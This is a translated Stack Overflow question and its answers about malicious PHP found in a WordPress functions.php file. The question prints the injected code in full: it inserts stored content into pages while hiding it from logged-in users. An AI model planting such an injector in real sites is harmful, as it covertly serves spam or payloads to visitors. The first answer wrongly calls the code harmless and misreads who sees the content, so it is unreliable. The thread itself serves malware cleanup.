【问题标题】:What does this malicious code injected into functions.php file do? [closed]这个注入到functions.php文件中的恶意代码有什么作用? [关闭]
【发布时间】:2013-08-15 20:49:15
【问题描述】:

我在客户端functions.php 文件中发现了一些恶意代码。这是在做什么,我不知道。我对 PHP 没问题,但肯定不是专家。有什么想法吗?

if (!function_exists("b_call")) {
    function b_call() {
        if (!ob_get_level()) ob_start("b_goes");
    }
    function b_goes($p) {
        if (!defined('wp_m1')) {
            if (isset($_COOKIE['wordpress_test_cookie'])
                || isset($_COOKIE['wp-settings-1'])
                || isset($_COOKIE['wp-settings-time-1'])
                || (function_exists('is_user_logged_in') && is_user_logged_in())
                || (!$m = get_option('_content1'))
            ) {
                return $p;
            }
            list($m, $n) = @unserialize(trim(strrev($m)));
            define('wp_m1', $m);
            define('wp_n1', $n);
        }
        if (!stripos($p, wp_n1)) $p = preg_replace("~<body[^>]*>~i", "$0\n".wp_n1, $p, 1);
        if (!stripos($p, wp_m1)) $p = preg_replace("~</head>~", wp_m1."\n</head>", $p, 1);
        if (!stripos($p, wp_n1)) $p = preg_replace("~</div>~", "</div>\n".wp_n1, $p, 1);
        if (!stripos($p, wp_m1)) $p = preg_replace("~</div>~", wp_m1."\n</div>", $p, 1);
        return $p;
    }
    function b_end() {
        @ob_end_flush();
    }
    if (ob_get_level()) ob_end_clean();
    add_action("init", "b_call");
    add_action("wp_head", "b_call");
    add_action("get_sidebar", "b_call");
    add_action("wp_footer", "b_call");
    add_action("shutdown", "b_end");
}

【问题讨论】:

  • 看起来像是在插入_content1 中定义的代码,看起来像是某种样式注入。 _content1 中有什么内容?
  • 它的作用远比它如何到达那里以及你将如何阻止它再次发生更重要。

标签: php inject virus


【解决方案1】:

如果用户已登录,它会从 Wordpress 选项字段 _content1 中提取内容。它还在 body、head 和 div 标签之后添加换行符。据我所知,没有恶意代码。该块中最奇怪的代码是 OB 代码,它只是 PHP 输出缓冲区的函数 - 这也不是恶意的。

【讨论】:

    【解决方案2】:

    它允许将选项表中保存的 _content1 列中的任何内容作为内容添加到 WordPress 主题的页眉、页脚等中。

    注入代码的人很可能将一些 html 设置为 _content1 选项,例如添加伟哥,或者他们在服务器上有另一个脚本等待更新选项。您可能想在站点的根目录中查找奇怪的 .php 文件。可能有一个简单的 eval($_REQEST) 等着你。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2016-09-02
      • 2016-11-03
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2012-09-30
      • 2012-09-28
      相关资源
      最近更新 更多